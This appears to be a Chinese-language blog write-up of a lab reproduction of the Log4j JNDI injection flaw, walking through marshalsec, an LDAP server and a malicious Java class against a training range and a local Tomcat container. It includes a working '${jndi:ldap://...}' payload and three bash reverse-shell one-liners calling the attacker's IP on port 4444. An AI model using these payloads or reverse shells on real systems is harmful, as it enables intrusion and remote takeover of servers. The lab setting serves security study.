本次記錄自己測試時每一步操作,很詳細。
本次複現分為curl測試和拿shell兩種操作,測試完curl後體驗時長到期了,隻能換環境了。
本次測試環境如下:
curl------------------------------------------------------
靶場: http://d63bb2586.lab.aqlab.cn/
攻擊機:106.15.47.238(阿裡雲的一小時體驗伺服器)
拿shell--------------------------------------------------
靶場: 192.168.11.136(centos7)
攻擊機:192.168.11.128(kali)
curl測試:
攻擊機-----------------------
安裝java環境:
jdk1.8.0_181
連結:https://pan.baidu.com/s/1Rt-XLjY2Od6RFQDYkrN7wg
提取碼:6rec
下載下傳好後使用rz傳到vps上:
解壓縮:
Copy到/usr/jdk:
編輯環境變量:
将下面配置添加到檔案最後:
告訴系統jdk的位置:
設定新的jdk為預設:
重載profile檔案:
檢視jdk版本:

到此java環境安裝完畢。
編寫一個惡意類,命名為Exploit.java,這裡用curl測試:
寫入:
編譯:
開個http服務,等會用來驗證是否指令被目标執行:
安裝maven:
解壓:
配置:
環境變量配置:
最下面添加:
裝git:
下載下傳marshalsec工具
進入marshalsec檔案夾,使用maven編譯marshalsec成jar包:
耐心等待ing...
來了
在Exploit.java檔案所在目錄開個http服務:
進入target檔案夾,搭建個LDAP服務:
通路靶場:
http://d63bb2586.lab.aqlab.cn/
點選登入後,目标執行指令curl我們的5678端口:
-------------------------------------------------------- --------------------------------------------------------
這時候靶場1小時時間到期了嗚嗚。
拿shell:
簡介:
靶機: 192.168.11.136(centos7)
和以上curl操作相同,隻是修改被執行的指令為反彈shell。
靶機docker環境搭建:
裝docker
啟動docker:
拉鏡像:
容器:
進容器:
開tomcat服務:
到此為止靶機環境搭建好了。
攻擊機-----------
配java環境、各種元件。和上面curl操作步驟一樣。
配好環境和相關元件後,在Exploit.java所在目錄啟個http服務:
開啟LDAP服務:
惡意類内容.編輯Exploit.java檔案,利用curl反彈shell:
再啟個http服務供目标機器來通路bash.html:
Bash.html内容:意思是把shell反彈到攻擊機4444端口:
Nc監聽4444,坐等shell:
最後通路http://192.168.11.136:8080/webstudy/hello-fengxuan
Post請求c=${jndi:ldap://192.168.11.128:8899/id}
過程:
目标Curl攻擊機的8888端口,内容為反彈shell到攻擊機4444端口:
收到shell:
-----------------------
問 為什麼要這樣反彈,麻煩不煩啊!
答 因為其他方式本人沒彈出來(委屈)
bash -i >& /dev/tcp/192.168.11.128/4444 0>&1
bash -i > /dev/tcp/192.168.11.128/4444 0<&1 2>&1
exec 196<>/dev/tcp/192.168.11.128/4444; sh <&196 >&196 2>&196
晚安
參考:
https://cloud.tencent.com/developer/article/1853055?from=article.detail.1577831
https://mp.weixin.qq.com/s/4cvooT4tfQhjL7t4GFzYFQ
https://cloud.tencent.com/developer/article/1577831
聲明:
由于傳播、利用此文所提供的資訊而造成的任何直接或者間接的後果及損失,均由使用者本人負責,文章作者不為此承擔任何責任。